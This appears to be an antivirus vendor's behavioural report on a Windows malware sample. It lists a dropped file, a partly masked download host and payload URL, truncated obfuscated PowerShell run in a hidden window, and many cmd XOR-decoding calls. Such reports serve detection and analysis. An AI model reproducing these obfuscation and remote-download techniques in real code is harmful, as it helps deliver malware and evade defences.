Technical Information
Malicious functions
Launches a large number of processes
Modifies file system
Creates the following files
- %APPDATA%\desinficerendes.pav
Network activity
Connects to
- 'gl####caravaning.eu':80
TCP
HTTP GET requests
- http://gl####caravaning.eu/pter3/Solskinsdagen.jpb
UDP
- DNS ASK gl####caravaning.eu
Miscellaneous
Creates and executes the following
- '%WINDIR%\syswow64\windowspowershell\v1.0\powershell.exe' "$Krieger=11468+8532;Function Lavspnding9 ([String]$Sdcellers){$Whippier=5;For($Kbsbevis=4; $Kbsbevis -lt $Sdcellers.Length-1; $Kbsbevis+=$Whippier){$Mestizas57 = 'su'+'bstring';$Bedstand=$Beds...' (with hidden window)
Executes the following
- '%WINDIR%\syswow64\windowspowershell\v1.0\powershell.exe' "$Krieger=11468+8532;Function Lavspnding9 ([String]$Sdcellers){$Whippier=5;For($Kbsbevis=4; $Kbsbevis -lt $Sdcellers.Length-1; $Kbsbevis+=$Whippier){$Mestizas57 = 'su'+'bstring';$Bedstand=$Beds...
- '%WINDIR%\syswow64\cmd.exe' /c "set /a 229^^132"
- '%WINDIR%\syswow64\cmd.exe' /c "set /a 202^^132"
- '%WINDIR%\syswow64\cmd.exe' /c "set /a 242^^132"
- '%WINDIR%\syswow64\cmd.exe' /c "set /a 236^^132"
- '%WINDIR%\syswow64\cmd.exe' /c "set /a 195^^132"
- '%WINDIR%\syswow64\cmd.exe' /c "set /a 212^^132"
- '%WINDIR%\syswow64\cmd.exe' /c "set /a 182^^132"
- '%WINDIR%\syswow64\cmd.exe' /c "set /a 209^^132"
- '%WINDIR%\syswow64\cmd.exe' /c "set /a 197^^132"
- '%WINDIR%\syswow64\cmd.exe' /c "set /a 205^^132"
- '%WINDIR%\syswow64\cmd.exe' /c "set /a 244^^132"
- '%WINDIR%\syswow64\cmd.exe' /c "set /a 204^^132"
- '%WINDIR%\syswow64\cmd.exe' /c "set /a 227^^132"
- '%WINDIR%\syswow64\cmd.exe' /c "set /a 208^^132"
- '%WINDIR%\syswow64\cmd.exe' /c "set /a 168^^132"
- '%WINDIR%\syswow64\cmd.exe' /c "set /a 214^^132"
- '%WINDIR%\syswow64\cmd.exe' /c "set /a 241^^132"
- '%WINDIR%\syswow64\cmd.exe' /c "set /a 183^^132"
- '%WINDIR%\syswow64\cmd.exe' /c "set /a 234^^132"
- '%WINDIR%\syswow64\cmd.exe' /c "set /a 211^^132"
- '%WINDIR%\syswow64\cmd.exe' /c "echo 16"
- '%WINDIR%\syswow64\cmd.exe' /c "set /a 215^^132"
- '%WINDIR%\syswow64\cmd.exe' /c "set /a 253^^132"
- '%WINDIR%\syswow64\cmd.exe' /c "set /a 247^^132"
- '%WINDIR%\syswow64\cmd.exe' /c "set /a 240^^132"
- '%WINDIR%\syswow64\cmd.exe' /c "set /a 225^^132"
- '%WINDIR%\syswow64\cmd.exe' /c "set /a 233^^132"
- '%WINDIR%\syswow64\windowspowershell\v1.0\powershell.exe' "Function Tranebrret02([String]$Herpetological) { $Zackariah = [System.Byte[]]::CreateInstance([System.Byte],$Herpetological.Length / 2) $Febernedsaettende76 = (cmd /c 'echo 16') For($Farve...
- '%WINDIR%\syswow64\cmd.exe' /c "set /a 170^^132"
- '%WINDIR%\syswow64\cmd.exe' /c "set /a 232^^132"
- '%WINDIR%\syswow64\cmd.exe' /c "set /a 201^^132"
- '%WINDIR%\syswow64\cmd.exe' /c "set /a 237^^132"
- '%WINDIR%\syswow64\cmd.exe' /c "set /a 231^^132"
- '%WINDIR%\syswow64\cmd.exe' /c "set /a 246^^132"
- '%WINDIR%\syswow64\cmd.exe' /c "set /a 235^^132"
- '%WINDIR%\syswow64\cmd.exe' /c "set /a 226^^132"
- '%WINDIR%\syswow64\cmd.exe' /c "set /a 224^^132"
- '%WINDIR%\syswow64\cmd.exe' /c "set /a 164^^132"
- '%WINDIR%\syswow64\cmd.exe' /c "set /a 198^^132"
